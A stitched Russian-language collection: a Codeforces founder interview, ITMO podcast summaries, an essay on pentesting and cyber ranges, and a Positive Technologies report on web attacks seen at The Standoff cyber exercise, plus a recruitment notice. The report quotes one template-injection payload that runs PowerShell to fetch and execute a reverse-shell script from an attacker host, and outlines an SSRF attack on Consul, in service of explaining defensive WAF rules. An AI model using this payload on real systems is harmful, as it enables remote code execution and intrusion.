Дмитрий: Можете ли вы рассказать о технологическом стеке Codeforces? Хотя бы в двух словах.

Михаил: Больше всего я пишу на Java. Люблю этот язык и экосистему. Но когда я только начинал разработку, я долгое время писал код на PHP быстро видел изменения, а цикл разработки выходил коротким. Так, обладая хорошей техникой программирования, можно было создать объемную функциональность за небольшой промежуток времени. На тот момент в экосистеме Java не было чего-то похожего, что раздражало. Для меня этот факт стал интересным технологическим вызовом, и я начал с того, что разработал свой веб-фреймворк для Java. Его киллер-фичей стала возможность перезагружать классы на лету, чтобы не нужно было редеплоить приложение изменения отображались по нажатию горячей клавиши.

Похожую функциональность предлагает Java HotSwap, но с большим количеством ограничений. Есть и другие технологии не я первый, не я последний кто занимался этим вопросом. Мне было интересно развиться в этом направлении и посмотреть, как все работает. Мы до сих пор используем мою небольшую наработку. Также переиспользуем другие библиотеки.

Мне кажется, что эволюция Codeforces понятный процесс, с которым сталкивались более крупные игроки и системы. Сперва код пишут исходя из наивных предположений о нагрузке, потом пользовательская база увеличивается приходится подумать о кешировании, переписывать отдельные компоненты. В какой-то момент мы написали предметно-ориентированную базу. Она индексирует и хранит в памяти много данных.

За десять лет было написано большое количество кода значительная его часть имеет отношение к экосистеме Java. Но есть и другие вещи, например, песочница, где запускаются пользовательские программы. Для нее важно понимать, как с процессами под Windows правильно работать чтобы все хорошо тестировалось и было довольно безопасно.

Дмитрий: Какие ли у вашего проекта ограничения, которые вы бы хотели снять и доработать?

Михаил: Это сложный вопрос. Понятно, что есть много болезненных моментов с точки зрения организации. Проведение регулярных соревнований это своего рода подвиг. Это и кропотливая работа с авторами, и кропотливая работа координаторов, часто явникаю в эти задачи. Если эти процессы стандартизировать, то станет только лучше. Но не все готовы тратить кучу времени на подготовку раундов. При этом не всегда есть возможность подержать авторов задач материально, поэтому приходится жить и работать с тем, что есть.

С точки зрения технологий тоже не все работает идеально. Когда в соревнованиях принимает участие большое количество человек, наша инфраструктура упирается в потолок. Я смотрю, что подтормаживало, где не хватило мощностей и мы оптимизируем этот вопрос. Это нормальный, рабочий процесс так живёт большое количество систем.

Как часто проходят соревнования

Таймкод 25:10

Дмитрий: Каждое мероприятие требует существенных временных затрат на подготовку. В связи с этим как часто проходят соревнования на вашей площадке?

Михаил: В месяц проходит от восьми до одиннадцати. Сюда входят соревнования, которые мы называем Div.1 + Div.2 раундами открытые двухчасовые эвенты, где состязаются как опытные, так и начинающие участники. Есть соревнования Div.2 Only с задачами средней сложности, а есть образовательные раунды, которые мы организуем совместно с университетом Harbour.Space.

Есть раунды третьего дивизиона для начинающих, но там тоже нужно уметь решать задачи. Суммарно получается примерно десять раундов в месяц и каждые три дня что-то проходит. Подготовку задач третьего дивизиона сложно сравнивать с хардовыми задачами для чемпионов. Но если оценивать грубо, то для проведения раунда нужны десятки человеко-часов.

Дмитрий: Команда, обслуживающая конкретное мероприятие, это люди из комьюнити или сотрудники и участники проекта?

Михаил: Большинство задач предлагают члены сообщества, а координаторы обеспечивают их качество. Я сам довольно часто вникаю и вношу предложения. Некоторые вопросы предлагаю. На это у меня сейчас остается все меньше времени, но я всегда с удовольствием этим занимаюсь.

Дмитрий: Насколько накладны непрофильные задачи вроде маркетингового продвижения, или они решаются силами комьюнити?

Михаил: Какой-то правильный маркетинг у нас отсутствует. Мне кажется, что сарафанное радио и качественный продукт здесь важнее. Разумеется, мы публикуем анонсы в соцсетях и делаем рассылки, но усилий для рекламы мы не прикладываем люди и так приходят.

Дмитрий: Расскажите о планах, которые вы перед собой ставите на ближайшие годы.

Михаил: Платформа достаточно сложна, и сделать так, чтобы все оставалось на прежнем уровне, уже будет достижением. Находить новые задачи всегда сложно. Эта работа всегда была на острие возможностей. В ближайшие пять лет я бы хотел научиться делегировать свои обязанности единомышленникам, которые разделяют видение. Что касается различных идей, то их довольно много. Сейчас Codeforces это площадка для участия в соревнованиях. Но хочется добавить туда образовательный контент уже работаем в этом направлении. Экосистема должна расширяться, становиться богаче и интереснее ищем выходы на новую аудиторию.

Дмитрий: Образовательный контент это контент для подготовки к соревнованиям?

Михаил: Каких-то замечательных учебных курсов по спортивному программированию пока нет. Нет подборок, которые бы являлись частью единой экосистемы с поясняющими текстами, видео и тренировочными задачами. Сделать что-то такое было бы чудесно.

Дмитрий: Можно ли говорить об этом как об одной из главных проблем в сфере спортивного программирования?

Михаил: Какой-то проблемы здесь нет. Есть сильные учебные наработки например, сайт e-maxx.ru, который запустил мой бывший студент. Там собраны лекционные материалы на широкий спектр тем. Если участник хочет разобраться в каком-то вопросе, то он найдет возможность.

Что сейчас интересует компании

Таймкод 32:35

Дмитрий: Как вы можете оценить интерес к спортивному программированию со стороны компаний? Во что они сейчас вкладываются?

Михаил: Много топовых участников соревнований уходят работать в крупные компании вроде Google и Yandex и показывают там хороший карьерный рост. Кандидат с опытом в спортивном программировании имеет приоритет при приеме на работу это правда. Компании хотят, чтобы кандидаты понимали фундаментальные основы как работают программы, как устроены алгоритмы. Конкретный технологический стек в компаниях свой, он динамичный. Редко кто требует от человека разбираться в стеке, который сегодня есть, а завтра изменится.

Разумеется, в индустрии присутствует и скепсис к возможностям спортивных программистов. На мой взгляд, он не очень обоснован, и я довольно часто дискутирую на эту тему. Все мои друзья и знакомые, которые прошли через школы спортивного программирования, стали отличными и востребованными специалистами. Обратных примеров совсем мало.

Кстати, интервью в Google в большей степени (чем в других организациях) напоминают соревнования по программированию. Так, участники и победители олимпиад имеют большие шансы на успех. Если интервью проходят не олимпиадники, то это совсем талантливые и яркие люди. Нормально, что в будущем они показывают лучшие результаты. В то же время не совсем понятно, кого именно следует считать олимпиадниками. Если человек два раза проходил на городские соревнования и полгода ходил в кружок есть ли у него олимпиадный опыт?

Мне кажется, было бы интересно провести качественное социологическое исследование о среднестатистическом портрете участников полуфинала чемпионата мира по программированию десятилетней давности. Я думаю, оно отлично покажет, что у этих ребят все хорошо и с карьерой, и с денежными вопросами, а весь скепсис яйца выеденного не стоит.

Нужно ли строить карьеру в этой области

Таймкод 37:08

Дмитрий: Существует ли тренд среди спортивных программистов на продолжение карьеры исключительно в этой сфере?

Михаил: Скорее нет, люди вовлекаются в это движение в школьные и студенческие годы. На старших курсах интерес по той или иной причине угасает это нормально и естественно. Далее, человек заканчивает университет, перед ним открывается новая рабочая жизнь, и он находит себя в индустрии. Я отношусь к спортивному программированию как к физкультуре. Думаю, никто не будет спорить, что она положительно влияет на здоровье. Участие в соревнованиях по программированию это физкультура для мозга, тренировка в понимании алгоритмов. Людей, которые хотят заниматься исключительно этим мало, и больше их не становится.

Дмитрий: Должны ли они появляться, или в этом нет смысла?

Михаил: Рост числа людей, желающих не просто участвовать в соревнованиях, а привносить что-то свое, безусловно, пойдет на пользу движению. Так, я сфокусировался на разработке платформы Codeforces для сообщества это хорошо. Но таких людей немного, и винить никого в этом нельзя таково естественное развитие жизни. Работать в этой области не только задачи решать, но и уходить в организацию. Реализовывать это готов лишь небольшой процент людей.

Другие выпуски нашего подкаста на Хабре:

• Как подойти к синхронизации AR-контента с шоу в масштабе стадиона

• Что может быть общего у научной визуализации данных и геймдева

• Что ждет начинающих ученых в сфере машинного обучения

Рассказываем о передаче с участием преподавателей, научных сотрудников, специалистов и руководителей различных подразделений Университета ИТМО. Помимо компактных описаний каждого выпуска линкуем текстовые расшифровки на Хабре и YT-версии с таймкодами.

Взять и погрузиться в сферу машинного обучения

45 мин Apple Podcasts YouTube Яндекс.Музыка PodFM Google Podcasts Хабр

Спикер этого выпуска руководит профильной группой в международной научной лаборатории Компьютерные технологии, а еще входит в состав Высокого жюри конкурса ТехноТекст и ведет Новости из мира ML на YouTube-канале лаборатории машинного обучения ИТМО.

В ходе беседы с Андреем Фильченковым мы обсуждаем переквизиты для старта и развития в области МО, процесс подготовки научных публикаций и трансфер различных решений.

Интервью получилось достаточно длительным, но выпуск один из лучших для знакомства с передачей. По удачному стечению обстоятельств он оказался первым в аудиоленте подкаста.

Как поднять AR на стадионе и учиться геймдеву

70 мин Apple Podcasts YouTube (раз, два) Google Podcasts Хабр (раз, два)

Как синхронизировать шоу на арене, телетрансляцию и персонализированный AR-контент рассказывает Андрей Карсаков. Он работает в группе визуализации данных и компьютерной графики, плюс помогает компаниям с проектированием сложных решений и систем.

Нюансы подхода, технологический стэк, боевое использование обсуждаем все это, а во второй половине беседы говорим о поведенческом моделировании и магистратуре по геймдеву.

Текстовый транскрипт на Хабре мы разделили на две тематические части (первая, вторая). Однако эпизод получился динамичным рекомендуем спокойно слушать полностью.

Что такое квантовый хакинг и распределение ключа

43 мин Apple Podcasts YouTube Яндекс.Музыка PodFM Google Podcasts Хабр

Гость выпуска руководит теоретической группой лаборатории квантовых процессов и измерений, регулярно участвует в научпоп подкастах и шоу, где простыми словами рассказывает о физике, системах коммуникации нового типа, шифровании данных и квантовом хакинге.

Его зовут Антон Козубов. Для нашего подкаста он разобрал тему квантового распределения ключа. Еще рассказал о специфике отрасли и поделился своими взглядами на альтернативные научные теории в этой области и вопросы разграничения фундаментальной и прикладной науки.

Суть квантового распределения ключа в том, чтобы при всех атак Евы, мы могли выделить такой объем распределенных бит, который будет известен только Алисе и только Бобу. Ева о нем не будет знать. Это главная цель нашей работы.

Но мне интересно придумывать такие атаки, чтобы Алиса с Бобом были уверены в безопасности, а Ева устраивала бы все так, чтобы обходить защиту.

Антон Козубов, в третьем выпуске ITMO Research_

Как подойти к развитию в области робототехники

29 мин Apple PodcastsЯндекс.МузыкаPodFMGoogle PodcastsYouTube Хабр

Какая инфраструктура есть в Университете ИТМО, что стоит выделить среди проектов студентов и аспирантов, как присоединиться к учебному процессу и определиться с траекторией развития в этой области объясняет Сергей Колюбин. Он руководит лабораторией биомехатроники и энергоэффективной робототехники и занимает управляющие должности в структуре вуза.

В ролике (выше) мы совместили первую часть выпуска с фотоэкскурсиями по лабораториям.

Как мы готовим к олимпиадам по молодежной робототехнике

28 мин Apple PodcastsЯндекс.МузыкаPodFMGoogle Podcasts YouTube Хабр

Игорь Лосицкий заведует нашей молодежной лабораторией и помогает ребятам за один-два года добираться до презентации собственных робототехнических проектов на крупнейших российских и международных соревнованиях. В ходе нашей беседы мы вспомнили проекты-призеры и разобрались с тем, как родителям выбирать робототехнические кружки для детей.

Мы стремится к оправданной сложности и оригинальности, чтобы наши разработки находили отклик в душе человека и вызывали эмоции. Помимо технической составляющей нам важен интерес самих разработчиков.

Игорь Лосицкий, в пятом выпуске ITMO Research_

Чем занимаются в центре Инфохимии Университета ИТМО

42 мин Apple PodcastsЯндекс.МузыкаPodFMGoogle Podcasts YouTube Хабр

Спикер этого выпуска работала в институте Макса Планка, а потом в Гарварде, у самого цитируемого химика наших лет. Ее зовут Екатерина Скорб, и сегодня она развивает наш центр инфохимии. Вокруг него мы и построили интервью поговорили о практической значимости и проектировании для потребителя, возможностях для новичков и планах на будущее.

По длительности классический для нашего подкаста выпуск. Однако содержание может показаться немного сложным. Учитывайте это при выборе места и времени для прослушивания.

Как и чему учат технологических предпринимателей

29 мин Apple PodcastsЯндекс.МузыкаPodFMGoogle Podcasts YouTube Хабр

Антон Гопка, декан факультета технологического менеджмента и инноваций, генеральный партнер ATEM Capital, объясняет, кому и зачем нужны hard skills в предпринимательстве. Еще делится примерами успешных стартапов, построенных нашими студентами, и подробно рассказывает о подходе к организации различных образовательных программ #itmotech. Например, специально для работы с магистрами был сформирован экспертный совет для оценки проектов. В него вошли представители ведущих технологических компаний, биотеха и финтеха.

Платформа Codeforces и спортивное программирование

41 мин Apple PodcastsЯндекс.МузыкаGoogle PodcastsPodFMYouTube Хабр

Гость этого выпуска разработал платформу для тех, кто занимается спортивным программированием, и собрал крупное сообщество. Он делится взглядами на то, как развивается эта область, рассказывает о роли выпускников ICPC, комментирует устройство Codeforces и интерес компаний к тем, кто хорошо знаком со спортивным программированием.

Раньше соревнования были одним из немногих социальных лифтов: позавчера ты еще был школьником из заводского района непонятного города, а потом начинал заниматься и через несколько лет попадал в топовые компании к лучшим работодателям мира.

Сейчас количество таких лифтов увеличилось появились стажировки и хакатоны, но фокус оказался несколько размыт. Но это жизнь, и хорошо, что есть альтернативы.

Потребность в оценке защищенности ИТ-инфраструктуры появилась практически одновременно с компьютерными системами. В 50-е годы прошлого столетия ученые начали предполагать, что на компьютерные системы возможны атаки, а в 1988 году Робертом Моррисом младшимбыл создан первый массовый сетевой червь, который по скромным оценкам нанес ущерб в 96 млн долларов. Тогда общественность всерьез задумалась над угрозой компьютерных атак.

В 1992 году появился первый документ, содержащий правила управления ИБ в компании, который впоследствии превратился во всем известный ISO/IEC 17799. На основании этого документа стали проводиться аудиты для выявления несоответствий. Вот только аудиты эти помогали убедиться, что системы обеспечения информационной безопасности в компании соответствуют установленным на бумаге (в политиках, регламентах) требованиям, а не защищают от реальных киберугроз. Причем сама проверка проводилась преимущественно в форме опроса сотрудников.

Спустя десять лет появилась методология оценки рисков, которая направила сообщество на путь поиска инцидентов, которые могли бы произойти, и выявления наиболее подходящих путей их предотвращения.Вначале оценка рисков происходила опять же только на бумаге, но затем эксперты стали проводить практический анализ защищенности информационных систем и тестирование на проникновение, для того чтобы корректно верифицировать риски.

Тестирование на проникновение (пентест) это проверка возможности получения злоумышленником несанкционированного доступа к ИТ-ресурсам компании. Пентестеры ищут уязвимые места в системе и демонстрируют возможность проведения атак, моделируя действия хакеров. Формальной эту проверку уже не назовешь. Однако у современного пентеста есть существенный недостаток: он всегда ограничен списком ресурсов, которые можно ломать, но самое главное он ограничен в сценариях поведения атакующих из-за невозможности влиять на реальную инфраструктуру. Есть перечень действий, которые для пентестеров под запретом, как правило, он прописан в договоре. Например, нельзя переводить миллиард с банковского счета, даже если есть такая возможность, или останавливать турбину на теплоэлектростанции.

Эти запреты связаны с тем, что компании боятся необратимости последствий, вызванных моделированием кибератак. Из-за этих ограничений пентест, как правило, заканчивается либо проникновением в локальную сеть компании, либо получением доступа к учетной записи администратора домена. И все. Только демонстрация гипотетических возможностей злоумышленников. И то без демонстрации последствий, ведь доводить атаку до конца запрещено. Это минус для всех сторон: для экспертов ИБ, которые не могут предоставить доказательства своих слов, лишь предполагая, к чему приведут действия хакеров; для службы ИБ компании, которая не может проверить, работают ли меры по противодействию атакующим; для руководства компании, которое может не доверять гипотетическим угрозам.

Еще один недостаток есть во всех перечисленных выше методах. В них не принимается во внимание человеческий фактор: сотрудники службы ИБ не могут оказать сопротивление пентестерам и остановить атаку, а сами пентестеры находятся в тепличных условиях они действуют открыто. Уровень зрелости ИБ в компаниях зачастую невысок, поэтому иногда работа пентестеров и вовсе сводится к подбору учетных данных администратора. В итоге пентестерам сложно развиваться в экспертном плане, им нет смысла совершенствовать свои методы и скрываться от службы ИБ, то есть действовать как реальный хакер, который всегда старается остаться незамеченным. Сотрудники службы мониторинга обычно тоже не принимают участия в пентестах, не анализируют действия пентестеров.

Тестирование на проникновение в режиме Red Team это способ приблизиться к условиям реальной атаки. В рамках Red Team эксперты ИБ имитируют целенаправленные атаки на компанию. В отличие от пентеста служба ИБ оказывает противодействие и тем самым повышает свою готовность к реагированию на киберугрозы. Однако слабой стороной Red Team аналогично пентесту является использование реальной инфраструктуры компании, поскольку вновь невозможно реализовать риск до конца.

Поэтому среди экспертов ИБ так популярны соревнования Capture the Flag (CTF). На CTF-площадках участники могут искать уязвимости в сервисах и использовать их для развития векторов атак на другие команды без негативного влияния на бизнес-функции компаний. Кроме того, эти соревнования отличный способ обучения экспертов ИБ (исследователей, пентестеров, участников Red Team и Bug Hunter). И если раньше бизнес не относился серьезно к CTF, считая это лишь развлечением, то сейчас мы видим, что многие общепризнанные эксперты ИБ, которые теперь занимают высокие должности, когда-то принимали участие в CTF. Правда, соревнования за более чем 20-летнюю историю преобразились.

До 2010 года CTF-соревнования были далеки от реальной жизни и инфраструктуры, уязвимости искусственны, а результат игры неприменим для бизнеса. Есть два формата проведения CTF:

• Task-based, в котором требуется решать отдельные задачи и получать очки за правильные ответы (флаги).

• Attackdefense, в котором участники получают идентичные серверы с набором уязвимых сервисов (приложений), не связанных между собой. Задача каждой команды заключается в том, чтобы найти уязвимости, устранить их на своем сервере и воспользоваться ими для получения конфиденциальной информации (флагов) у соперников.

Во время соревнований участники отрабатывают навыки быстрого поиска и закрытия уязвимостей, они учатся работать в команде, развиваются как эксперты. Сегодня работодатели приветствуют опыт в CTF как для пентестеров, так и для специалистов службы ИБ и SOC. Компании даже сами устраивают соревнования, например Trend Micro с 2015 года, Google с 2016 года. Кроме того, появились публичные программы bug bounty, в которых любой желающий может протестировать сервисы и продукты известных компаний и получить денежное вознаграждение за выявленные уязвимости. Так, за zero-click-уязвимость с исполнением кода на ядре компания Apple готова заплатить 1 млн долларов.

В 2010 году НАТО впервые провела открытые соревнования Locked Shields, в которых столкнулись Red Team (атакующие) и Blue Team (защитники). С 2001 года подобные соревнования под названием Cyber Defense Exercise проводило Агентство национальной безопасности США, но только для учащихся военных академий США. Формат таких соревнований не похож на CTF, это киберучения, эмулирующие реальный мир. В киберучениях применяются ИТ-системы, выполняющие бизнес-процессы, присущие реальным компаниям. Так, в декабре 2020 года Европейское агентство по сетевой иинформационной безопасности(ENISA) проведет Cyber Europe 2020, в котором организаторы смоделируют сценарии, касающиеся здравоохранения.

Движение бизнеса в сторону практической безопасности прозрачной, результативной и обоснованной привело к абсолютно новому формату соревнований. Этим форматом стали киберучения, в которых одновременно могут принять участие все специалисты компьютерной безопасности: пентестеры, исследователи, сотрудники службы ИБ и центра мониторинга. Сценарии атак для киберучений могут быть автоматизированы, а могут реализовываться с привлечением Red Team, состоящей из экспертов ИБ. Привлечение нескольких команд атакующих позволяет улучшить подготовку сотрудников службы ИБ и SOC, поскольку у них появляется возможность проработать больше техник и сценариев атак.

С появлением киберполигона The Standoff у сообщества появилась среда для моделирования кибератак, оценки значимости ресурсов и реализуемости рисков на цифровом макете реального города. В инфраструктуру города заложены живые бизнес-сценарии нефтяной компании, ТЭЦ, подстанции, химического завода, аэропорта, банка, железной дороги, морского порта, а значит, участники столкнутся с настоящим оборудованием и сервисами, используемыми в этих компаниях. The Standoff это уникальная возможность довести вектор атаки до конца и посмотреть, к чему это приведет: будет ли украден миллиард и надолго ли останется город без электричества после выхода из строя паровой турбины ТЭЦ. При проектировании The Standoff были использованы реальные контроллеры, которые используются на идентичных объектах критически значимой инфраструктуры, а значит, у экспертов ИБ есть возможность протестировать сценарии атак до конца. Если атака будет успешной и электростанция остановится, значит, она остановилась бы и в реальной жизни.

С развитием киберполигонов у компаний начинает появляться возможность как можно точнее моделировать собственую инфраструктуру, а значит, оценка рисков и последствий выходит на новый уровень. Пока хакеры совершенствуют свои методы атак, компании повышают уровень зрелости в сфере ИБ и отрабатывают техники реагирования на киберинциденты. Все специалисты компьютерной безопасности от администраторов до пентестеров улучшают свои навыки не в искусственном окружении, а в реалистичной среде, повторяющей и инфраструктуру, и бизнес-процессы компаний. А это значит, что завтра враг уже не пройдет.

Изучить киберполигон The Standoff вживую вы сможете уже завтра 12 ноября. The Standoff стартует в онлайн-формате и продлится в этом году целых шесть дней. Помимо активностей, связанных с кибер-битвой, вы сможете послушать доклады лучших экспертов в области практической кибербезопасности со всего мира: более 30 спикеров из России, США, стран Европы и Азии поделятся с вами своими последними наработками. Для участия в мероприятии достаточно лишь подключиться к онлайн-платформе.

Автор: Ольга Зиненко, аналитики информационной безопасностиPositiveTechnologies

На прошедшем The Standoff мы, команда PT Expert Security Center, параллельно с участниками противостояния со стороны защиты мониторили инфраструктуру площадки и отдельных офисов цифровой копии мегаполиса, развернутой на нашем киберполигоне. Для этого мы развернули дополнительный security operations center (SOC), который как бы накрыл всю инфраструктуру, за счет чего видел все активности участников The Standoff и даже немного больше. Одним из инструментов этого SOC был PT Application Firewall межсетевой экран уровня веб-приложений (о результатах работы еще одного из инструментов нашего SOC PT Sandbox читайте в одной из наших предыдущих статей). Ниже речь пойдет исключительно о том, что происходило на площадке с точки зрения веба и какие цели выбирали команды атакующих.

Общая статистика по атакам

В рамках The Standoff мы мониторили атаки на портал самой площадки, а также на 30 веб-ресурсов, входящих в игровую инфраструктуру полигона. Это были ресурсы, задействованные как в основной игре (Meters офиса 25 Hours ресурс передачи показаний счетчиков, Consul для Nuft платформа управления сервисами, о которых пойдет речь ниже), так и в bug bounty (например, CMS Umbraco для Bank of FF, Mantis Bugtracker для 25 Hours система отслеживания ошибок в программных продуктах, rConfir RCE сервис управления сетевыми конфигурациями для Big Bro Group). Read teams получали баллы за реализацию рисков, а также за поиск уязвимостей в системах и репорты.

Кто был кто на киберполигоне:

- Heavy Ship Logistics компания, которая управляла аэропортом, железнодорожной станцией, морским портом;

- 25 Hours компания, управлявшая парком развлечений, деловым центром, светофорной сетью;

- Tube компания, под управлением которой были телерадиокомпания, газораспределительная станция, трансформаторная подстанция;

- Nuft организация, ведавшая нефтяным месторождением и нефтехимическим заводом;

- Big Bro Group электростанция;

- Bank of FF банк.

Ресурсы были равномерно распределены между площадками как по уровню сложности, так и по назначению. В частности приложения, участвующие в bug bounty, имеющие по два интерфейса и смотрящие во внутреннюю сеть виртуального офиса, являлись точкой входа для реализации рисков внутри компаний цифрового города. Таких приложений было 13. При этом шесть из них предполагали достижение цели bug bounty изнутри инфраструктуры офиса. Остальные приложения являлись тупиковыми, то есть фактически были одиночными конечными целями с достаточно простыми задачами на эксплуатацию различных уязвимостей (например, известная RCE во Flack или же BookStore SQL Injection часто предлагаемые для решения в capture the flag). Все эти порталы и приложения мы отслеживали исключительно в режиме мониторинга и зафиксировали атаки на 29 из 30 имеющихся в инфраструктуре веб-приложений (в одном из ресурсов была возможность для логических атак, которые можно было проводить только из сети банка). Единственным средством защиты, которым располагали защитники, был web application firewall.

Портал The Standoff также был заведен за PT Application Firewall но уже в режиме блокирования и с целью предотвращения возможных атак на поддерживающую мероприятие инфраструктуру из интернета.

На рис. 1 представлено распределение атак по игровым дням. Серым цветом обозначены специфические сформированные правила для мероприятия, желтым атаки низкого уровня опасности, оранжевым среднего, красным высокого. Последние часто говорят нам о тех или иных командах, запущенных на атакуемом узле, или же о проэксплуатированных уязвимостях. Далее мы будем использовать эти же цвета.

Список наиболее часто производимых атак приведен ниже (указано количество атак за весь период The Standoff с 12:00 12 ноября до 14:00 17 ноября).

Реальная картина проведенных атак и результаты мониторинга, полученные в PT Application Firewall, различаются, например, потому, что эксплуатация уязвимостей некоторых приложений проводилась уже изнутри периметра с внутренних адресов офиса защиты. Такие атаки могут фиксироваться внутренними средствами аудита. Кроме того, в любом из приложений могут быть использованы атаки, отличные от заложенных для игры, если итоговой целью не была эксплуатация конечной уязвимости. Данные о таких атаках могут фиксироваться не полностью, могут не отражаться в журналах.

Чаще всего атакующие выбирали целью приложения офисов Тube и Bank of FF: CMS Made Simple (CMS), bbord (виртуальная фотогалерея), CMS Umbraco, Prestoshop (сайт электронной коммерции), Avideo encoder (ресурс декодирования видео), FHEM tomcat (система умного дома), Consul, openEMR (электронная медицинская карта), ATutor (система управления обучением) и rConfig.

Как открывали двери в инфраструктуру через веб

Во время мониторинга мы проанализировали использованные атакующими инструменты для прохождения периметра. Наряду с традиционным прослушиванием портов с помощью nmap и инструментов типа Burp Suite большой популярностью пользовались самописные скрипты на Python и Go: они составляли почти четверть применяемых инструментов и зачастую использовались на базе уже имеющегося у атакующих инструментария типа Metasploit. Приложения на периметрах защитников активно фаззились с помощью встроенных модулей burp suite, модулей к Metasploit, Responder-инструментарием.

Из 30 задач, заложенных на периметре, решены все задачи низкого уровня сложности, 5 из 6 среднего и 2 из 6 повышенного. Задачи среднего и повышенного уровня сложности как раз представляют наибольший интерес, поскольку приводят ко входу в инфраструктуру для дальнейшей реализации рисков и конечно, позволяют набрать наибольшее количество баллов.

Приведем примеры наиболее интересных задач.

Задача Вход в пределы периметра управляющей компании города 25 Hours была реализована через приложение Meters. Это сайт, развернутый для передачи показаний счетчиков воды и электричества онлайн. Так как приложение использует выражения на языке HubL, то {{}} является обработчиком выражений. Все, что попадает в фигурные скобки, заменяется фактическими значениями при обработке. Атака реализуется следующим образом: проверяется наличие уязвимости с помощью вектора {{77}} и подобных, то есть по факту запускается вычисление 77.

Для реализации реальной атаки необходимо выполнить запрос на фронтенде приложения:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder(\"cmd.exe\",\"/c\",\"powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/mini-reverse.ps1');\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}.

Что и было проделано двумя командами атакующих.

Эта атака интересна с той точки зрения, что может служить отправной точкой для реализации векторов в парке развлечений цифрового города (например, для изменения скорости вращения колеса обозрения), в городе в целом (для нарушения работы светофорной сети) или же для кражи персональных данных горожан.

Еще одна интересная задача атака, реализованная в компании Nuft через приложение Consul. На внешнем сервисе размещено ПО для обхода блокировок. С помощью него можно реализовать атаку Server Side Request Forgery, которая проводится по протоколу Gopher и направляется методом PUT на прослушиваемый сервисом порт.

Полученный после проведенной манипуляции статус 200 говорит об успешной атаке.

Получение доступа и закрепление на этом узле позволяло реализовать атаки на такие объекты цифрового города, как нефтяное месторождение (пример цели технологический процесс транспортировки нефтепродуктов в хранилища) или нефтехимический завод (пример цели процессы производства химических веществ).

Для обнаружения некоторых типов атак и выявления эксплуатируемых уязвимостей была проведена настройка срабатываний (устранение false positive) и написаны дополнительные правила выявления атак. Рассмотрим принципы написания таких правил.

Для фиксации основных типов атак и их выявления рассматриваются proofs of concept проведения атаки с уточнением пути, по которому производится атака. Правило формируется на основе указанного пути, параметра, в который производится внедрение той или иной комбинации символов, ссылки или кода.

Например, в CMS Umbraco (использовалась в инфраструктуре компании Bank of FF) есть уязвимость, эксплуатация которой осуществляется из-под аутентифицированного пользователя методом POST; с помощью фиксации пути эксплуатации и параметров эксплуатации атака и была зафиксирована.

Нетрудно догадаться, что для Meters, атака на который была описана выше, аналогично сформировано правило на основании описанных выше вводных интерпретации и выполнения команд в фигурных скобках в одном из трех параметров.

Условие использования конечного приложения и request path применяется при необходимости обращений по конкретному пути.

В ходе такого анализа уязвимостей приложений было предварительно сформировано порядка 30 правил. Эти правила учитывают общую тенденцию, но не всегда покрывают все методы реализации атаки на то или иное приложение. Кроме заведомо известных и заложенных заранее векторов атак зачастую используются обходные пути. Например, вместо эксплуатации уязвимости на периметре с целью получения данных из базы атакующие получали доступ по альтернативному протоколу уже внутри сети (ODBC) или же делали backup и вытаскивали его через административные общие папки.

Выводы

Мы видим, что зачастую нападающие (в том числе и в рамках The Standoff) используют атаки на приложения, опубликованные на периметре, с целью получения первичного доступа и закрепления в инфраструктуре. Основным средством защиты таких приложений являются решения класса web application firewall. На киберполигоне PT Application Firewall показал свою эффективность в отслеживании различных атак на периметре, в том числе позволил формировать собственные правила для отслеживания атак. За счет удобного интерфейса и отображения как запросов, так и ответов приложения продукт позволил нам эффективно отсеивать false positive срабатывания, а также оценить спектр используемого атакующими инструментария.

Positive Technologies (PT Expert Security Center)

18 мая начинаются киберучения на полигоне The Standoff, который в этом году станет полноправным партнером форума Positive Hack Days 10 (пройдет 20 и 21 мая). Все меньше времени остается до обоих событий, и мы рады сообщить, что открыли набор команд атакующих и защитников, которые будут бороться друг с другом в мегаполисе.

Что такое The Standoff

The Standoff это киберполигон. Инструмент, с помощью которого мы моделируем технологические процессы и бизнес-системы реальных компаний в промышленности, на транспорте, в энергетике, финансовом и других секторах. Задача полигона создание среды, в которой можно:

• провести настоящие хакерские атаки на инфраструктуру предприятия;

• обнаружить слабые места в системе информационной безопасности;

• проверить и отработать навыки специалистов по обнаружению и предотвращению атак.

Специалисты по ИБ на полигоне изучают методы атакующих и тренируются в расследовании и отражении атак. Полигон позволяет защитникам за несколько дней получить опыт, который в обычных условиях сложно приобрести даже за годы работы.

На протяжении нескольких лет полигон The Standoff разворачивался в рамках PHDays. В прошлом году киберучения выделились в самостоятельное событие, которое может существовать в партнерстве с другими мероприятиями (как, к примеру, это было в случае с HITB). Ожидается, что в мае сойдутся в кибербитве несколько десятков команд, и мы приглашаем вас принять участие.

Технические подробности

Как и в прошлом году, The Standoff на PHDays пройдет в режиме онлайн. Большая часть инфраструктуры киберполигона будет уже знакома многим участникам: нефтяная, газовая? энергетическая и другие компании. Однако мы добавим и новые объекты инфраструктуры со своими бизнес-процессами и рисками. Какие пока секрет :) Полигон станет больше, используемые в нем технологии мощнее, а соревнование еще более практичным и приближенным к реальности.

Кого мы ждем

Мы рады не только тем, кто участвует много лет, но и тем, кто хочет попробовать свои силы впервые. Однако наша аудитория это в основном опытные специалисты, которые уже давно занимаются тестированием на проникновение и анализом защищенности и не понаслышке знают, что такое JNDI, XXE OOB и xp_cmdshell.

Для команды нападения участие в The Standoff это отличная возможность показать и доказать всему миру, насколько команда готова решать сложнейшие задачи практической информационной безопасности, актуальные для бизнеса, и наглядно продемонстрировать, насколько хороши навыки команды в пентесте.

Правила The Standoff таковы, что количество участников в одной атакующей команде ограничено шириной канала, но организаторы отмечают, что для максимально комфортного участия в киберучениях число участников должно не превышать 10 человек.

Условия киберучений на The Standoff призваны сделать его максимально похожим на реальность и повысить практическую применимость его результатов. В частности мы сфокусировали и атакующих, и защитников на рисках цифровых двойников реальных объектов, а не просто на неких флагах, как это реализовано, к примеру, во всем знакомых CTF. Наша цифровая копия мегаполиса ждет тех, кто сможет обнаружить атакующих в их стремлении реализовать какую-нибудь аварию. При этом одно из ключевых требований к защитникам иметь полноценную слаженную команду.

При этом для команд защиты наличие опыта именно в тех отраслях, объекты из которых присутствуют на полигоне, необязательно. Самое главное иметь навыки выявления и расследования инцидентов, тогда участие в The Standoff позволит прокачать их еще сильнее и затем эффективно применять в ежедневной работе.

